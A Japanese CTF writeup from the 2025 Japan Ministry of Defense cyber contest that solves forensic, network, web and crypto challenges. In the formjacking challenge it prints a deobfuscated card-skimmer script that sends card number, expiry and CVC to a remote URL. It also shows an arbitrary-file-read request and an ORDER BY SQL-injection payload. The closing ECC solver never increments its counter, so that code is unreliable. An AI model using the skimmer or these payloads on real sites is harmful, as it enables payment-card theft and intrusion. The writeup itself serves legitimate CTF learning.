1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

防衛省サイバーコンテスト 2025 writeup!

Last updated at Posted at 2025-02-05

はじめに

2025/2/2 9:00 - 21:00で実施された、防衛省サイバーコンテストに初参加しました。防衛省が主催する個人戦CTFです。

5200pts, 3問残しで31位でした。以前より簡単めだったんですかね?解きやすい難易度で良かったです。解法の流れが面白かった問題も何故このflag……となる問題もありましたが、個人的には楽しめました。

スクリーンショット 2025-02-02 213312.png

5位以内なら防衛省の好きなイベントにご招待!と書いてあったので、某艦擬人化ゲームで提督をやってる身としては何かの間違いで入賞しないかな……と思ってましたが当然無理でした。呉などにある、観光船で海自の艦を見て回る艦船めぐりは詳しくなくても楽しいのでおすすめです。

ところで、競技時間が終了した瞬間に問題が見られなくなってしまった上に各問題サーバも早々に閉じられてしまいました。復習も含めて1週間くらいは残しといてほしいなあ……の気持ち。

以下writeupです。

環境

  • Windows11
  • Kali Linux (WSL)
    • Python11
    • Burp Suite Community
    • IDA Free
    • BinaryNinja
    • WireShark
    • などなど

カテゴリ:PG

縮めるだけじゃダメ (100pts)

添付のExcelファイルからフラグを読み取ってください。
【回答書式】 flag{6桁の半角数字}

xlsmファイルが配られる。Office系が入っていないPCだったのでめんどいなと思いつつGoogle spreadsheetで開いてみた。
image.png
flag{ と書いてある気配がする。マクロを見たかったので、pythonのoletoolを使って抜き出す。

$ pip install oletools

$ olevba PG-1.xlsm                                                             
olevba 0.60.2 on Python 3.11.9 - http://decalage.info/python/oletools
===============================================================================
FILE: PG-1.xlsm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub GET_FLAG()
Worksheets("Sheet1").Activate
Rows("1:7").RowHeight = 30
Columns("A:AT").ColumnWidth = 30
Range("A1:AT7").Interior.Color = RGB(255, 255, 255)
Range("A1:AT1").Interior.Color = RGB(0, 0, 0)
Range("A3:AT3").Interior.Color = RGB(0, 0, 0)
Range("A5:AT5").Interior.Color = RGB(0, 0, 0)
Columns("D").Interior.Color = RGB(255, 255, 255)
Columns("F").Interior.Color = RGB(255, 255, 255)
Columns("J").Interior.Color = RGB(255, 255, 255)
Columns("K").Interior.Color = RGB(255, 255, 255)
Columns("O").Interior.Color = RGB(255, 255, 255)
Columns("S").Interior.Color = RGB(255, 255, 255)
Columns("W").Interior.Color = RGB(255, 255, 255)
Columns("AA").Interior.Color = RGB(255, 255, 255)
Columns("AE").Interior.Color = RGB(255, 255, 255)
Columns("AI").Interior.Color = RGB(255, 255, 255)
Columns("AM").Interior.Color = RGB(255, 255, 255)
Columns("AQ").Interior.Color = RGB(255, 255, 255)
Range("A1:A2").Interior.Color = RGB(255, 255, 255)
Range("C2").Interior.Color = RGB(255, 255, 255)
Range("C4:C5").Interior.Color = RGB(255, 255, 255)
Range("G1:P2").Interior.Color = RGB(255, 255, 255)
Range("P5").Interior.Color = RGB(255, 255, 255)
Range("AR2:AR4").Interior.Color = RGB(255, 255, 255)
Range("AT1:AT2").Interior.Color = RGB(255, 255, 255)
Range("AT4:AT5").Interior.Color = RGB(255, 255, 255)
Range("R2:R4").Interior.Color = RGB(255, 255, 255)
Range("B1:B5").Interior.Color = RGB(0, 0, 0)
Range("E1:E5").Interior.Color = RGB(0, 0, 0)
Range("G3:G5").Interior.Color = RGB(0, 0, 0)
Range("I3:I6").Interior.Color = RGB(0, 0, 0)
Range("L3:L5").Interior.Color = RGB(0, 0, 0)
Range("N3:N7").Interior.Color = RGB(0, 0, 0)
Range("J6").Interior.Color = RGB(0, 0, 0)
Range("L7:M7").Interior.Color = RGB(0, 0, 0)
Range("Q1:Q5").Interior.Color = RGB(0, 0, 0)
Range("AS1:AS5").Interior.Color = RGB(0, 0, 0)
Range("T1:T5").Interior.Color = RGB(0, 0, 0)
Range("V1:V5").Interior.Color = RGB(0, 0, 0)
Range("X1:X5").Interior.Color = RGB(0, 0, 0)
Range("Z1:Z5").Interior.Color = RGB(0, 0, 0)
Range("AB1:AB5").Interior.Color = RGB(0, 0, 0)
Range("AD1:AD5").Interior.Color = RGB(0, 0, 0)
Range("AF1:AF5").Interior.Color = RGB(0, 0, 0)
Range("AH1:AH5").Interior.Color = RGB(0, 0, 0)
Range("AJ1:AJ5").Interior.Color = RGB(0, 0, 0)
Range("AL1:AL5").Interior.Color = RGB(0, 0, 0)
Range("AN1:AN5").Interior.Color = RGB(0, 0, 0)
Range("AP1:AP5").Interior.Color = RGB(0, 0, 0)
Range("AN2").Interior.Color = RGB(255, 255, 255)
Range("AN4").Interior.Color = RGB(255, 255, 255)
Range("T2").Interior.Color = RGB(255, 255, 255)
Range("V4").Interior.Color = RGB(255, 255, 255)
Range("AL2").Interior.Color = RGB(255, 255, 255)
Range("Z2").Interior.Color = RGB(255, 255, 255)
Range("AJ4").Interior.Color = RGB(255, 255, 255)
Range("AH2").Interior.Color = RGB(255, 255, 255)
Range("R2:V2").Interior.Color = RGB(255, 255, 255)
Range("R4:V4").Interior.Color = RGB(255, 255, 255)
Range("W2:AA2").Interior.Color = RGB(255, 255, 255)
Range("W4:AA4").Interior.Color = RGB(255, 255, 255)
Range("AB2:AH2").Interior.Color = RGB(255, 255, 255)
Range("AB4:AH4").Interior.Color = RGB(255, 255, 255)
Range("AI2:AL2").Interior.Color = RGB(255, 255, 255)
Range("AI4:AL4").Interior.Color = RGB(255, 255, 255)
Range("AM2:AR2").Interior.Color = RGB(255, 255, 255)
Range("AM4:AR4").Interior.Color = RGB(255, 255, 255)
Range("R2:AR2").Interior.Color = RGB(0, 0, 0)
Range("R4:AR4").Interior.Color = RGB(0, 0, 0)
Range("R2:AR2").Interior.Color = RGB(255, 255, 255)
Range("R4:AR4").Interior.Color = RGB(255, 255, 255)
End Sub
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
+----------+--------------------+---------------------------------------------+

色塗りをしていそうなので、手で少し整形してpythonでエミュレートしてみる。

solver.py
import re

data = [["A1:AT7", 0],
["A1:AT1", 1],
["A3:AT3", 1],
["A5:AT5", 1],
["D1:D10", 0],
["F1:F10", 0],
["J1:J10", 0],
["K1:K10", 0],
["O1:O10", 0],
["S1:S10", 0],
["W1:W10", 0],
["AA1:AA10", 0],
["AE1:AE10", 0],
["AI1:AI10", 0],
["AM1:AM10", 0],
["AQ1:AQ10", 0],
["A1:A2", 0],
["C2:C2", 0],
["C4:C5", 0],
["G1:P2", 0],
["P5:P5", 0],
["AR2:AR4", 0],
["AT1:AT2", 0],
["AT4:AT5", 0],
["R2:R4", 0],
["B1:B5", 1],
["E1:E5", 1],
["G3:G5", 1],
["I3:I6", 1],
["L3:L5", 1],
["N3:N7", 1],
["J6:J6", 1],
["L7:M7", 1],
["Q1:Q5", 1],
["AS1:AS5", 1],
["T1:T5", 1],
["V1:V5", 1],
["X1:X5", 1],
["Z1:Z5", 1],
["AB1:AB5", 1],
["AD1:AD5", 1],
["AF1:AF5", 1],
["AH1:AH5", 1],
["AJ1:AJ5", 1],
["AL1:AL5", 1],
["AN1:AN5", 1],
["AP1:AP5", 1],
["AN2:AN2", 0],
["AN4:AN4", 0],
["T2:T2", 0],
["V4:V4", 0],
["AL2:AL2", 0],
["Z2:Z2", 0],
["AJ4:AJ4", 0],
["AH2:AH2", 0],
["R2:V2", 0],
["R4:V4", 0],
["W2:AA2", 0],
["W4:AA4", 0],
["AB2:AH2", 0],
["AB4:AH4", 0],
["AI2:AL2", 0],
["AI4:AL4", 0],
["AM2:AR2", 0],
["AM4:AR4", 0],
["R2:AR2", 1],
["R4:AR4", 1],
["R2:AR2", 0],
["R4:AR4", 0]]

result = [[0] * 60 for _ in range(10)]

def col_to_index(col):
    index = 0
    for char in col:
        index = index * 26 + (ord(char) - ord('A') + 1)
    return index - 1  # 0-based index

# 各範囲に対して処理
for (cell_range, value) in data:
    match = re.match(r'([A-Z]+)(\d+):([A-Z]+)(\d+)', cell_range)
    if match:
        start_col, start_row, end_col, end_row = match.groups()
        start_col, end_col = col_to_index(start_col), col_to_index(end_col)
        start_row, end_row = int(start_row) - 1, int(end_row) - 1  # 0-based index
        
        # 指定範囲を value で更新
        for row in range(start_row, end_row + 1):
            for col in range(start_col, end_col + 1):
                if 0 <= row < len(result) and 0 <= col < len(result[0]):  # 範囲外防止
                    result[row][col] = value
    
    for row in result:
        print("".join(["x" if c else " " for c in row]))
    
    input()

元々は最終状態のみ表示させていたが、その場合だと以下のようにそれっぽくないものが表示される。

 xx x           xx xxx xxx xxx xxx xxx xxx xx               
 x  x           x                           x               
xxx x xxx  xxx xx  xxx xxx xxx xxx xxx xxx  xx              
 x  x x x  x x  x                           x               
xx  x xxx  xxx  xx xxx xxx xxx xxx xxx xxx xx               
        xx   x                                              
           xxx 

処理の途中でflagが生成され、また塗りつぶされているのだろうと思い {} 内が数字っぽく見えるところを探した。

 xx x           xx xxx xxx xxx xxx xxx xxx xx               
 x  x           x    x x   x x x   x     x  x               
xxx x xxx  xxx xx  xxx xxx xxx xxx xxx xxx  xx              
 x  x x x  x x  x  x   x x x x x x   x   x  x               
xx  x xxx  xxx  xx xxx xxx xxx xxx xxx xxx xx               
        xx   x                                              
           xxx    
flag
flag{268653}

暗算でもできるけど? (100pts)

添付のソースコードを実行した際の出力値の68番目の値と、このソースコードから推測される314番目の値を足した数を答えてください。
【回答書式】 flag{n桁の半角数字}

以下のCコードが配布される。

PG-2.c
#include <stdio.h>
int main(){int i,j,k,l;k=(((10/2*4/10*4/2)+97)*10)-10;for(i=2;i<=k;++i){l=0;for(j=2;j<i;++j){if(i%j==0){l=1;break;}}if(l==0)printf("%d\r\n",i);}return 0;}

とりあえずコンパイルして実行してみると、素数を出力していそうだった。

$ ./pg2 
2
3
5
7
11
13
17
19
23
29

略

素数を羅列しているサイトを探し、68番目が337、314番目が2083であることが分かったので、足した2420がflagだった。

flag
flag{2420}

formjacking (200pts)

添付のファイルは「Card Stealer」と呼ばれるフォームからの入力値を外部へ送信するJavaScriptです。 カード情報が妥当な場合、その値は外部へ送信されるようなので追跡したいです。
【回答書式】 flag{n桁の半角英数記号}

まず配布されたjsファイルがDefenderに検疫されたので、除外して取り戻すところから始まる。
中身はしっかり難読化されており、とても読む気にはならない。
image.png

どこかに綺麗にしてくれるツールがあるだろう……と探していると、以下ツールにたどり着いた。

なんとたった32行の分かりやすいコードにしてくれる。ありがたいね。
なお上記GitHubいわく、この難読化はjavascript-obfuscatorというツールを使ったものっぽい。

decompiled_PG-3.js
document.querySelector("#card-expiry-element > form").addEventListener("submit", function (_0x2791c1) {
  _0x2791c1.preventDefault();
  const _0x5930f7 = "Skimming=true";
  const _0x9ae3dd = document.querySelector("input[name='cardnumber']").value;
  if (!_0x12237f(_0x9ae3dd)) {
    return false;
  }
  const _0x57060f = document.querySelector("input[name='exp-date']").value;
  const _0x33294f = document.querySelector("input[name='cvc']").value;
  function _0x3bb027() {
    const _0x3e5fd8 = "https://pg3.2025winter-cybercontest.net/pg3?cardnumber=" + encodeURIComponent(_0x9ae3dd) + "&exp-date=" + encodeURIComponent(_0x57060f) + "&cvc=" + encodeURIComponent(_0x33294f) + "&" + _0x5930f7;
    return _0x3e5fd8;
  }
  function _0x12237f(_0x8c4fb5) {
    let _0x39e251 = 0;
    let _0x5d648f = false;
    for (let _0x23cadc = _0x8c4fb5.length - 1; _0x23cadc >= 0; _0x23cadc--) {
      let _0x3adf4b = parseInt(_0x8c4fb5[_0x23cadc]);
      if (_0x5d648f) {
        _0x3adf4b *= 2;
        if (_0x3adf4b > 9) {
          _0x3adf4b -= 9;
        }
      }
      _0x39e251 += _0x3adf4b;
      _0x5d648f = !_0x5d648f;
    }
    return _0x39e251 % 10 === 0;
  }
  let _0x24d3e7 = _0x3bb027();
  fetch(_0x24d3e7);
});

真ん中あたりでカード番号を送信しているURLが分かるので、コードの通りURLを組み立ててアクセスしてみるとflagがもらえた。

https://pg3.2025winter-cybercontest.net/pg3?cardnumber=1&exp-date=202501&cvc=111&Skimming=true
flag
flag{f1iping_de0bfuscat0r}

loop in loop (300pts)

以下の要件を満たすプログラムを作成してください。 プログラムの言語は問いません。

1.引数として以下の値を指定できる。

  • 第一引数:文字列
  • 第二引数:文字列

2.プログラム内部で引数に以下の処理を加える。

  • それぞれの引数のハッシュ値を求める。ハッシュ関数にはRIPEMD160を使用する。
  • 第一引数のハッシュ値の1文字目と第二引数のハッシュ値の1文字目を抜き出し、それらの値が両方数値だった場合、それらのXORを求める。そうでない場合は何も処理しない。
  • 続いて、第一引数のハッシュ値の1文字目と第二引数のハッシュ値の2文字目を抜き出し、それらの値が両方数値だった場合、それらのXORを求める。そうでない場合は何も処理しない。
  • 同様に、3文字目、4文字目と続け、と第二引数のハッシュ値の最後の文字まで行う。
  • 続けて第一引数のハッシュ値の2文字目に対して第二引数のハッシュ値の1文字目から同様の処理を行う。
  • 同様に第一引数のハッシュ値の3文字目、4文字目と続け、と第一引数のハッシュ値の最後の文字まで行う。
  • それぞれの値を加算する。
  • 加算された値を10進数で出力する。

このプログラムに下記の引数を与えた時に出力される値を答えてください。
第一引数:Phoenix
第二引数:Messiah
【回答書式】 flag{n桁の半角数字}

長い。このままChatGPTに投げても書いてくれそうだなと思いつつ、書きたかったので書いた。

solver.py
import hashlib

p1 = "Phoenix"
p2 = "Messiah"

h1 = hashlib.new("ripemd160")
h1.update(p1.encode())
# hash1 = h1.digest()
hash1 = h1.hexdigest()
print(hash1)
h2 = hashlib.new("ripemd160")
h2.update(p2.encode())
# hash2 = h2.digest()
hash2 = h2.hexdigest()
print(hash2)

result = 0
for b1 in hash1:
    for b2 in hash2:
        # if b1 in range(ord('0'), ord('9') + 1) and b2 in range(ord('0'), ord('9') + 1):
        if b1.isdigit() and b2.isdigit():
            result += int(b1) ^ int(b2)
            print(result, b1, b2)

print(result)

最初は digest() して数字になる部分を取るのかと思ったが、回答が 0 になってしまった(コメントアウト部分)。
16進数の数字(a-fでないところ)から計算するようにするのが正解。

$ python solver.py
略
5775 0 0
5775 0 0
5776 0 1
5785 0 9
5785
flag
flag{5785}

カテゴリ:NW

頭が肝心です (100pts)

添付したメールファイルからフラグを探してください。 フラグはこのメールが届くまでに経由した2番目のメールサーバのIPアドレスとします。
【回答書式】 flag{IPアドレス}

配布されたメールファイルは以下の通り。

NW-1.eml
Return-Path: <no-return@example.com>
X-Original-To: user@example.com
Delivered-To: user@example.com
Received: from smtp.example.com ([172.30.55.96])
$B!!!!!!!!(Bby rfs.example.com; Thu, 28 Dec 2023 17:47:05 +0900 (JST)
Received: from ex.example.com ([10.231.24.42])
$B!!!!!!!!(Bby smtp.example.com; Thu, 28 Dec 2023 17:45:21 +0900 (JST)
To: user@example.com
Subject: [CTF] Mail From NW
From: sender@example.com
Received: from mx.example.com ([172.16.25.39])
$B!!!!!!!!(Bby ex.example.com; Thu, 28 Dec 2023 17:32:47 +0900 (JST)
Received: from mail.example.com ([192.168.52.21])
$B!!!!!!!!(Bby mx.example.com; Thu, 28 Dec 2023 17:32:38 +0900 (JST)
Received: by mail.example.com (Postfix, from userid 33)
	id DE79A41AF7; Thu, 28 Dec 2023 17:32:24 +0900 (JST)
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-2022-JP
Content-Transfer-Encoding: 7bit
Message-Id: <20231228083224.DE79A41AF7@example.com>
Date: Thu, 28 Dec 2023 17:51:24 +0900 (JST)

$B;22C<T3F0L(B

$B$3$N%a!<%k$O%5%$%P!<%3%s%F%9%H$K$*$1$kLdBj(B[NW]$B$N%a!<%k$G$9!#(B
$B%a!<%k$NCf$+$i%U%i%0$r8+$D$1$F$/$@$5$$!#(B
$B$48!F$$r5'$j$^$9!#(B

Receivedの下から2番目のIPアドレスがflagだった。

flag
flag{172.16.25.39}

3 Way Handshake? (200pts)

添付したのはTCPポートスキャン時のパケットログです。 オープンポートを見つけてください。 オープンしているポート番号を小さい順に「,(カンマ)」で区切って答えてください。
【回答書式】 flag{n1,n2,n3,.....}

pcapファイルが配られる。192.168.123.103->192.168.123.115 へポートスキャンを仕掛けている様子。
どこかでうまいこと一覧できないかと眺めていたところ、統計>対話>TCPタブにおいて一部ポートのみパケット数が3であり、大多数は2であることに気が付いた。handshakeできていれば最低3回になるはずなので、パケット数3のポートを見れば良さそう。
image.png

拾って並び変えた結果は以下の通り。

flag
flag{21,23,37,70,79,98,109,110,111,113,143,513,514,1025,50506}

さあ得点は? (200pts)

添付されたパケットファイルから攻撃を特定し、その攻撃のCVEを調べてください。
その攻撃のCVSS Version2.0のBaseScoreがフラグです。 CVSSのスコアはNISTで公開されている値とします。
https://nvd.nist.gov/
【回答書式】 flag{数値}

配布されたpcapファイルを見ると、HTTP通信が行われている。適当なところで追跡>HTTPストリームをして確認したところ、以下のようにRangeヘッダが特徴的だった。
スクリーンショット 2025-02-02 133735.png

以前この攻撃を別所で見たことがあり、確かApacheの古いDoS脆弱性だったような……と探すと、CVE-2011-3192とのこと。以下ページより、CVSS2.0のBaseScoreは7.8。

flag
flag{7.8}

decode (300pts)

添付のパケットファイルからフラグを探してください
【回答書式】 flag{n桁の半角英数記号}

pcapファイルが20個ほど渡される、おそらく連続したパケットキャプチャファイルを分割している。
ググると、WireSharkにまとめてドロップすると結合して表示してくれるとのことで、そのようにした。

HTTP通信で、画像(のbase64エンコード)を取得している通信がいくつかある。いずれかの画像にflagが書いてあるのだろうと思い、上から順にコピー→ \/ のアンエスケープ→画像表示 を繰り返していると欲しい画像が見つかった。
ちなみにflag画像以外は猫ちゃんだった。

スクリーンショット 2025-02-02 140307.png

なお画像への変換は以下サイトを使っている。

flag
flag{c4ptur3_cat}

カテゴリ:WE

簡単には見せません (100pts)

[問題URL]
【回答書式】 flag{n桁のアルファベット}

サイトにアクセスするも、トップには特に何もなさそう。
とりあえずrobots.txtにアクセスすると、以下の記載があった。

User-Agent:*
Disallow:/
Disallow:/red/
Disallow:/gold/
Disallow:/yellow/
Disallow:/blue/
Disallow:/pink/
Disallow:/black/

上から順にアクセスしてみると、 /blue/ がディレクトリリスティング状態であり、配下に /flg/ があると分かった。 /blue/flg/ のソースコードにコメントでflagが記載されていた。

<!DOCTYPE html>
<html lang="ja-JP">
<head>
<meta charset="utf-8" />
<title>WE-1</title> 
</head>
<body>
<h2>このページにフラグがあります</h2>
</body>
</html>
<!-- flag{TakeMeToTheFlag} -->
flag
flag{TakeMeToTheFlag}

試練を乗り越えろ! (100pts)

下記のURLからフラグを入手してください。
[問題URL]
【回答書式】 flag{n桁のアルファベット}

スクリーンショット 2025-02-02 092956.png

この送信ボタンを押すと、以下のようなPOSTリクエストが送られて次に進める。

qCount=1&answer=1&submit=%E9%80%81%E4%BF%A1

適当に 110000 に変えて送信したところ、flagが書いてあった。

request
POST / HTTP/2
Host: we2-prod.2025winter-cybercontest.net
Content-Length: 51

qCount=10000&answer=10000&submit=%E9%80%81%E4%BF%A1
response
HTTP/2 200 OK
Date: Sun, 02 Feb 2025 00:29:18 GMT
Content-Type: text/html; charset=UTF-8
Server: Apache


<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<h2>試練を乗り越えろ!</h2>
<hr>
フラグが欲しければ1万問の質問に答えてください。<br>
<font color="red">おめでとうございます!<br>よく試練に耐えましたね!<br>あなたは素晴らしい!!<br>でも最初からやり直してください<br><br><br><br><br><br>というのは冗談です<br>フラグは下記のとおりです<br><b>flag{WinThroughTheGame}</font><br><hr>
第10000問<br>
今は何問目?
<br>
<form method="POST">
<input type="hidden" name="qCount" value="10000">
答え:<input type="text" name="answer" size="6">
<input type="submit" name="submit" value="送信">
</form>
</body>
</html>
flag
flag{WinThroughTheGame}

直してる最中なんです (200pts)

下記のサイトから脆弱性のあるアプリケーションを特定し、その脆弱性を利用してフラグを入手してください。
[問題URL]
フラグが記載されているファイルは下記の通りです。
/etc/WE-3
【回答書式】 flag{25桁の半角英数字}

サイトでは石の写真を見せてくれる。ソースを見るとjsファイルと画像ダウンロードボタンらしきものがコメントアウトされているので、Burpの機能でコメントアウトを外してみる。
表示されたボタンを押すと、以下のようなリクエストが飛んでいた。しかし、PHPエラーで正しい応答が返らない。

request
POST /secret/download.php HTTP/2
Host: 略
Content-Length: 15
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: ja
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Content-Type: text/plain;charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

fName=WE-3-01
response抜粋
Warning: Undefined array key "fName" in /var/www/html/secret/download.php on line 2

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/secret/download.php:2) in /var/www/html/secret/download.php on line 8

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/secret/download.php:2) in /var/www/html/secret/download.php on line 9

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/secret/download.php:2) in /var/www/html/secret/download.php on line 10

Deprecated: readfile(): Passing null to parameter #1 ($filename) of type string is deprecated in /var/www/html/secret/download.php on line 11

Fatal error: Uncaught ValueError: Path must not be empty in /var/www/html/secret/download.php:11 Stack trace: #0 /var/www/html/secret/download.php(11): readfile('') #1 {main} thrown in /var/www/html/secret/download.php on line 11

パラメータ名は合っているっぽいが……と思いつつ、Burpの「Change body encoding」でmultipart形式に変えたところ、リクエストが通ったので、flagファイルのパスを与えて終了。

request
POST /secret/download.php HTTP/2
Host: 略
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHQDbJcU2t75drnZX
Content-Length: 145

------WebKitFormBoundaryHQDbJcU2t75drnZX
Content-Disposition: form-data; name="fName"

/etc/WE-3
------WebKitFormBoundaryHQDbJcU2t75drnZX--

response
HTTP/2 200 OK
Date: Sun, 02 Feb 2025 01:28:27 GMT
Content-Type: application/force-download;
Content-Length: 596
Server: Apache/2.4.62 (Debian)
X-Powered-By: PHP/8.4.1

<br />
<b>Warning</b>:  filesize(): stat failed for /var/www/html/secret//etc/WE-3 in <b>/var/www/html/secret/download.php</b> on line <b>9</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /var/www/html/secret/download.php:9) in <b>/var/www/html/secret/download.php</b> on line <b>9</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /var/www/html/secret/download.php:9) in <b>/var/www/html/secret/download.php</b> on line <b>10</b><br />
flag{fGrantUB56skBTlmF14mostFP}

flag
flag{fGrantUB56skBTlmF14mostFP}

なるほどねーと思ったが、最初のリクエストはContent-Typeヘッダがないのが駄目でちゃんと設定すれば普通に通るらしい。見落としてた……

直接聞いてみたら? (200pts)

下記のURLはAPIテストのためのフォームです。 ここからフラグを入手してください。
[問題URL]
【回答書式】 flag{n桁のアルファベット}

image.png

適当にすべてチェックして問い合わせると、以下のようなリクエストが送信されている。

request
POST /json.php HTTP/2
略

data=W3sibmFtZSI6Im5hbWUiLCJ2YWx1ZSI6Im9uIn0seyJuYW1lIjoiZW1haWwiLCJ2YWx1ZSI6Im9uIn0seyJuYW1lIjoidGVsIiwidmFsdWUiOiJvbiJ9LHsibmFtZSI6ImFkZHJlc3MiLCJ2YWx1ZSI6Im9uIn1d
response body
[["name","BLACK SMITH"],["mail","EXAMPLE@MAIL.ADDRESS"],["tel","000-0000-0000"],["address","HAKKAIDO ABASHIRI OUTSIDE"]]

HAKKAIDO(ハッカイドウ)

リクエストの値はBase64っぽい。デコードすると以下の形だった。

[{"name":"name","value":"on"},{"name":"email","value":"on"},{"name":"tel","value":"on"},{"name":"address","value":"on"}]

つまりname: flagが取れそうな名前にすればよさそう?と思い、 "name":"address""name":"flag"に変えたところ、flagが返ってきた。

request
POST /json.php HTTP/2
略

data=W3sibmFtZSI6Im5hbWUiLCJ2YWx1ZSI6Im9uIn0seyJuYW1lIjoiZW1haWwiLCJ2YWx1ZSI6Im9uIn0seyJuYW1lIjoidGVsIiwidmFsdWUiOiJvbiJ9LHsibmFtZSI6ImZsYWciLCJ2YWx1ZSI6Im9uIn1d
response body
[["name","BLACK SMITH"],["mail","EXAMPLE@MAIL.ADDRESS"],["tel","000-0000-0000"],["flag","flag{ParameterHandlingError}"]]
flag
flag{ParameterHandlingError}

整列!(300pts)

旗の下に必要な者だけが正しく並べばいいのです。
[問題URL]
【回答書式】 flag{n桁の英数字}

image.png

ID列にソートボタンがある。Dataにはflag文字列が1文字ずつ入っているようだが、途中までしか表示されていない。

ソートボタンをクリックすると、 ?sort=id+ASC というパラメータが付く。ORDER BY句でのSQLインジェクションっぽい。
最初は真偽判定でデータを抜き出そうとしていろいろ奮闘していたが、コメントアウトするパターンを試していないことに途中で気が付いた。 ?sort=id+--+a とするとすべての文字が表示されたので、 ?sort=flagSeq+--+a でソートしてflagを取得することができた。
おそらく SELECT * FROM data ORDER BY [入力値] LIMIT 20 のようなSQL文なのだろう。

flag
flag{6f24d2267d87b7b232ed0d6ed3ad2924}

カテゴリ:CY

エンコード方法は一つじゃない(100pts)

以下の文字列をデコードしてFlagを答えてください。
%26%23%78%35%35%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%36%65%3b%26%23%78%34%32%3b%26%23%78%37%64%3b%56%6d%46%79%61%57%39%31%63%30%56%75%59%32%39%6b%61%57%35%6e%63%77%3d%3d%36%36%36%63%36%31%36%37%37%62
【回答書式】 flag{n桁のアルファベット}

URLエンコードされているので、とりあえずデコードした結果が以下。

&#x55;&#x63;&#x61;&#x6e;&#x42;&#x7d;VmFyaW91c0VuY29kaW5ncw==666c61677b

実体参照・Base64・hex値がくっついているようなのでさらにそれぞれデコードする。

encode decode
&#x55;&#x63;&#x61;&#x6e;&#x42;&#x7d; UcanB}
VmFyaW91c0VuY29kaW5ncw== VariousEncodings
666c61677b flag{

逆順にデコード文字列を連結するとflag。

flag
flag{VariousEncodingsUcanB}

ちなみに、CyberChefであればこれくらいは入力するだけで推測してくれる。便利。

image.png

File Integrity of Long Hash(100pts)

添付のZIPファイルの中から下記のファイルを探してください。 フラグはそのファイルの中に書かれています。
189930e3d9e75f4c9000146c3eb12cbb978f829dd9acbfffaf4b3d72701b70f38792076f960fa7552148e8607534a15b98a4ae2a65cb8bf931bbf73a1cdbdacf
【回答書式】 flag{22文字の半角英数字}

配布されるzipファイルの中には大量のtxtファイルが入っている。
問題の文字列は、文字列長と雰囲気からSHA512のハッシュ値と思われる。zipファイルの中身のハッシュ値を確認したところ、一致するファイルがあった。

PS C:\Users\boon_\Downloads\CY2\flags> Get-ChildItem .\*.txt | Get-FileHash -Algorithm SHA512 | Out-String
略
SHA512          189930E3D9E75F4C9000146C3EB12CBB978F829DD9ACBFFFAF4B3D72701B70F3879... C:\Users\boon_\Downloads\CY2\flags\flags_89.txt
SHA512          F59CA5FC6E093D15D0EDCED235CB19CFA2FCF0D4689F514838C5B6766A3A953C7CE... C:\Users\boon_\Downloads\CY2\flags\flags_90.txt
SHA512          E040474BCADE46834B45F0D2D50C673DFC8E44C7853E17895FCFCA8BC085A8B8508... C:\Users\boon_\Downloads\CY2\flags\flags_91.txt
SHA512          3D63B2038B10FA57741921E67F8405B25EAA18BC17E23DACB8E98EC1961152A3F94... C:\Users\boon_\Downloads\CY2\flags\flags_92.txt

従って、89.txtが正解ファイル。

flag
flag{346D895B8FF3892191A645}

Equation of ECC(200pts)

楕円曲線のパラメータは以下の通りとします。
a=56,b=58,p=127
基準点(42,67)と設定した場合、公開鍵の値が下記になる秘密鍵の最も小さい値を答えてください。
公開鍵(53,30)
【回答書式】 flag{半角数字}

楕円曲線の計算方法がよく分かっていない……
ChatGPTに投げたところコードを書いてくれたので、それに従った。敗北。ちゃんと勉強します……

solver.py
def inverse_mod(k, p):
    """逆元を求める (k^(-1) mod p)"""
    return pow(k, -1, p)

def elliptic_add(p1, p2, a, p):
    """楕円曲線上の点加算 (p1 + p2)"""
    if p1 is None:
        return p2
    if p2 is None:
        return p1

    x1, y1 = p1
    x2, y2 = p2

    if x1 == x2 and y1 != y2:
        return None  # 無限遠点(点の逆元を足した場合)

    if x1 == x2:
        # 接線の計算(d/dx)
        l = ((3 * x1**2 + a) * inverse_mod(2 * y1, p)) % p
    else:
        # 通常の傾き
        l = ((y2 - y1) * inverse_mod(x2 - x1, p)) % p

    x3 = (l**2 - x1 - x2) % p
    y3 = (l * (x1 - x3) - y1) % p

    return (x3, y3)

def scalar_mult(k, point, a, p):
    """スカラー倍 (k * point)"""
    result = None  # 無限遠点
    addend = point  # 倍算に使用する点

    while k:
        if k & 1:
            result = elliptic_add(result, addend, a, p)
        addend = elliptic_add(addend, addend, a, p)
        k >>= 1

    return result

# 楕円曲線パラメータ
a = 56
b = 58
p = 127

# 基準点 G
G = (42, 67)

# 目標の公開鍵 P
P = (53, 30)

# k を探索
k = 1
while True:
    computed_P = scalar_mult(k, G, a, p)
    if computed_P == P:
        print(f"最小の秘密鍵 k: {k}")
        break
